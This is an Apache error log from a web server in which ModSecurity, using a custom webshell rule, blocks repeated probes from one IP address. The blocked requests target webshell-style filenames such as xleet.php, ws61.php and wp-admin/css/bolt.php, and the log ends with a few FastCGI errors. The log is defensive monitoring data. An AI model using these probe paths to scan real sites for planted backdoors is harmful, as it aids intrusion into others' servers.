[Mon Mar 02 02:16:20.684353 2026] [:error] [pid 53585:tid 53589] [client 20.220.232.240:43887] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mcs.php"] [unique_id "aaSCdHbCvYsvu6kKhM3AkwAAAAE"]
[Mon Mar 02 02:16:21.248142 2026] [:error] [pid 26940:tid 26947] [client 20.220.232.240:43939] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mcs.php"] [unique_id "aaSCdRrUg-j5GLDtRFnbagAAAEM"]
[Mon Mar 02 02:16:21.972182 2026] [:error] [pid 53181:tid 53514] [client 20.220.232.240:43883] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mcs.php"] [unique_id "aaSCdYr_0T1SazTrJOBObQAAAQA"]
[Mon Mar 02 02:16:22.587400 2026] [:error] [pid 53182:tid 53547] [client 20.220.232.240:43857] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mcs.php"] [unique_id "aaSCdvv073cA6eM1YCTmewAAAMQ"]
[Mon Mar 02 02:16:23.289235 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:43864] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaSCdxrUg-j5GLDtRFnbgAAAAFM"]
[Mon Mar 02 02:16:23.888608 2026] [:error] [pid 53180:tid 53457] [client 20.220.232.240:43789] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaSCdzPPJpDOBvYnaa1l4QAAAY0"]
[Mon Mar 02 02:16:24.574688 2026] [:error] [pid 53181:tid 53523] [client 20.220.232.240:43950] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaSCeIr_0T1SazTrJOBOcwAAAQg"]
[Mon Mar 02 02:16:25.399635 2026] [:error] [pid 53181:tid 53519] [client 20.220.232.240:43973] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaSCeYr_0T1SazTrJOBOdgAAAQU"]
[Mon Mar 02 02:16:26.376903 2026] [:error] [pid 26940:tid 26962] [client 20.220.232.240:43806] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xleet.php"] [unique_id "aaSCehrUg-j5GLDtRFnblgAAAFI"]
[Mon Mar 02 02:16:27.371067 2026] [:error] [pid 53182:tid 53565] [client 20.220.232.240:43895] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xleet.php"] [unique_id "aaSCe_v073cA6eM1YCTmjQAAANU"]
[Mon Mar 02 02:16:28.134486 2026] [:error] [pid 53180:tid 53462] [client 20.220.232.240:43999] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xleet.php"] [unique_id "aaSCfDPPJpDOBvYnaa1l5QAAAZI"]
[Mon Mar 02 02:16:28.799159 2026] [:error] [pid 53585:tid 53610] [client 20.220.232.240:43859] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xleet.php"] [unique_id "aaSCfHbCvYsvu6kKhM3ArQAAABY"]
[Mon Mar 02 02:16:29.394525 2026] [:error] [pid 53181:tid 53529] [client 20.220.232.240:43866] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaSCfYr_0T1SazTrJOBOfQAAAQ4"]
[Mon Mar 02 02:16:30.311989 2026] [:error] [pid 53585:tid 53603] [client 20.220.232.240:43890] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaSCfnbCvYsvu6kKhM3AsgAAAA8"]
[Mon Mar 02 02:16:30.914665 2026] [:error] [pid 26940:tid 26962] [client 20.220.232.240:43941] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaSCfhrUg-j5GLDtRFnbuAAAAFI"]
[Mon Mar 02 02:16:31.761604 2026] [:error] [pid 53181:tid 53523] [client 20.220.232.240:43885] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaSCf4r_0T1SazTrJOBOhQAAAQg"]
[Mon Mar 02 02:16:32.291985 2026] [:error] [pid 53585:tid 53604] [client 20.220.232.240:43841] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaSCgHbCvYsvu6kKhM3AugAAABA"]
[Mon Mar 02 02:16:32.907452 2026] [:error] [pid 53182:tid 53543] [client 20.220.232.240:43963] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaSCgPv073cA6eM1YCTmlgAAAMA"]
[Mon Mar 02 02:16:33.563079 2026] [:error] [pid 53585:tid 53605] [client 20.220.232.240:43877] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaSCgXbCvYsvu6kKhM3AwQAAABE"]
[Mon Mar 02 02:16:34.239554 2026] [:error] [pid 53182:tid 53544] [client 20.220.232.240:44013] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaSCgvv073cA6eM1YCTmnwAAAME"]
[Mon Mar 02 02:16:35.106873 2026] [:error] [pid 26940:tid 26953] [client 20.220.232.240:44019] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaSCgxrUg-j5GLDtRFnb6gAAAEk"]
[Mon Mar 02 02:16:35.899752 2026] [:error] [pid 53182:tid 53562] [client 20.220.232.240:44018] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaSCg_v073cA6eM1YCTmqwAAANI"]
[Mon Mar 02 02:16:36.818191 2026] [:error] [pid 53585:tid 53591] [client 20.220.232.240:43783] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaSChHbCvYsvu6kKhM3AxQAAAAM"]
[Mon Mar 02 02:16:37.846966 2026] [:error] [pid 53585:tid 53608] [client 20.220.232.240:43954] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaSChXbCvYsvu6kKhM3AzAAAABQ"]
[Mon Mar 02 02:16:38.745759 2026] [:error] [pid 53585:tid 53599] [client 20.220.232.240:43820] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaSChnbCvYsvu6kKhM3A0QAAAAs"]
[Mon Mar 02 02:16:39.875232 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43878] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaSChxrUg-j5GLDtRFnb9gAAAE4"]
[Mon Mar 02 02:16:40.578074 2026] [:error] [pid 53182:tid 53551] [client 20.220.232.240:43860] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaSCiPv073cA6eM1YCTmxAAAAMg"]
[Mon Mar 02 02:16:41.406686 2026] [:error] [pid 53585:tid 53595] [client 20.220.232.240:43790] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tmpls.php"] [unique_id "aaSCiXbCvYsvu6kKhM3A1AAAAAc"]
[Mon Mar 02 02:16:42.282336 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43794] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaSCihrUg-j5GLDtRFncBAAAAE4"]
[Mon Mar 02 02:16:43.452975 2026] [:error] [pid 53180:tid 53466] [client 20.220.232.240:44009] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaSCizPPJpDOBvYnaa1l9AAAAZY"]
[Mon Mar 02 02:16:44.615861 2026] [:error] [pid 53181:tid 53517] [client 20.220.232.240:43812] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaSCjIr_0T1SazTrJOBOoAAAAQM"]
[Mon Mar 02 02:16:45.516091 2026] [:error] [pid 53182:tid 53563] [client 20.220.232.240:43937] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bsg-management/php.php"] [unique_id "aaSCjfv073cA6eM1YCTmzgAAANM"]
[Mon Mar 02 02:16:45.986123 2026] [:error] [pid 53585:tid 53589] [client 20.220.232.240:43840] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaSCjXbCvYsvu6kKhM3A3QAAAAE"]
[Mon Mar 02 02:16:46.894067 2026] [:error] [pid 53182:tid 53543] [client 20.220.232.240:43800] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaSCjvv073cA6eM1YCTm1AAAAMA"]
[Mon Mar 02 02:16:47.559986 2026] [:error] [pid 53182:tid 53552] [client 20.220.232.240:43781] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaSCj_v073cA6eM1YCTm2AAAAMk"]
[Mon Mar 02 02:16:48.514594 2026] [:error] [pid 53585:tid 53599] [client 20.220.232.240:43916] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pouhg.php"] [unique_id "aaSCkHbCvYsvu6kKhM3A6wAAAAs"]
[Mon Mar 02 02:16:49.346464 2026] [:error] [pid 53585:tid 53595] [client 20.220.232.240:43852] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaSCkXbCvYsvu6kKhM3A8AAAAAc"]
[Mon Mar 02 02:16:50.341899 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43906] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaSCkhrUg-j5GLDtRFncKAAAAE4"]
[Mon Mar 02 02:16:50.947622 2026] [:error] [pid 53180:tid 53455] [client 20.220.232.240:43921] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaSCkjPPJpDOBvYnaa1l9wAAAYs"]
[Mon Mar 02 02:16:51.657567 2026] [:error] [pid 53182:tid 53545] [client 20.220.232.240:43861] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aaSCk_v073cA6eM1YCTm6QAAAMI"]
[Mon Mar 02 02:16:52.486287 2026] [:error] [pid 26940:tid 26963] [client 20.220.232.240:44030] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSClBrUg-j5GLDtRFncMwAAAFM"]
[Mon Mar 02 02:16:53.296056 2026] [:error] [pid 53182:tid 53567] [client 20.220.232.240:43832] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSClfv073cA6eM1YCTm8QAAANc"]
[Mon Mar 02 02:16:54.049156 2026] [:error] [pid 53181:tid 53532] [client 20.220.232.240:43932] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSClor_0T1SazTrJOBOtwAAARE"]
[Mon Mar 02 02:16:55.136507 2026] [:error] [pid 53585:tid 53597] [client 20.220.232.240:43869] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSCl3bCvYsvu6kKhM3A_gAAAAk"]
[Mon Mar 02 02:16:56.292715 2026] [:error] [pid 53180:tid 53449] [client 20.220.232.240:43782] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aaSCmDPPJpDOBvYnaa1mCQAAAYU"]
[Mon Mar 02 02:16:57.027925 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:43789] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aaSCmRrUg-j5GLDtRFncOwAAAFg"]
[Mon Mar 02 02:16:58.649104 2026] [:error] [pid 53585:tid 53607] [client 20.220.232.240:43823] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aaSCmnbCvYsvu6kKhM3BCgAAABM"]
[Mon Mar 02 02:16:59.754174 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:44017] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.php"] [unique_id "aaSCmxrUg-j5GLDtRFncTAAAAFg"]
[Mon Mar 02 02:17:01.005608 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43868] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaSCnRrUg-j5GLDtRFncWgAAAE4"]
[Mon Mar 02 02:17:02.186316 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43976] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaSCnhrUg-j5GLDtRFnccgAAAFQ"]
[Mon Mar 02 02:17:03.638870 2026] [:error] [pid 53585:tid 53596] [client 20.220.232.240:43884] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaSCn3bCvYsvu6kKhM3BGwAAAAg"]
[Mon Mar 02 02:17:04.662247 2026] [:error] [pid 53182:tid 53565] [client 20.220.232.240:43785] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaSCoPv073cA6eM1YCTnPAAAANU"]
[Mon Mar 02 02:17:05.509066 2026] [:error] [pid 53585:tid 53591] [client 20.220.232.240:43993] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaSCoXbCvYsvu6kKhM3BIwAAAAM"]
[Mon Mar 02 02:17:06.328777 2026] [:error] [pid 53181:tid 53521] [client 20.220.232.240:43809] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaSCoor_0T1SazTrJOBOyQAAAQY"]
[Mon Mar 02 02:17:07.579852 2026] [:error] [pid 53180:tid 53468] [client 20.220.232.240:43863] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaSCozPPJpDOBvYnaa1mHgAAAZg"]
[Mon Mar 02 02:17:09.294036 2026] [proxy_fcgi:error] [pid 53585:tid 53598] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:09.518051 2026] [proxy_fcgi:error] [pid 53585:tid 53596] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:09.730441 2026] [proxy_fcgi:error] [pid 53585:tid 53609] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:09.941545 2026] [proxy_fcgi:error] [pid 53585:tid 53610] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:17:10.167891 2026] [proxy_fcgi:error] [pid 53585:tid 53592] [client 20.220.232.240:44012] AH01071: Got error 'Primary script unknown'
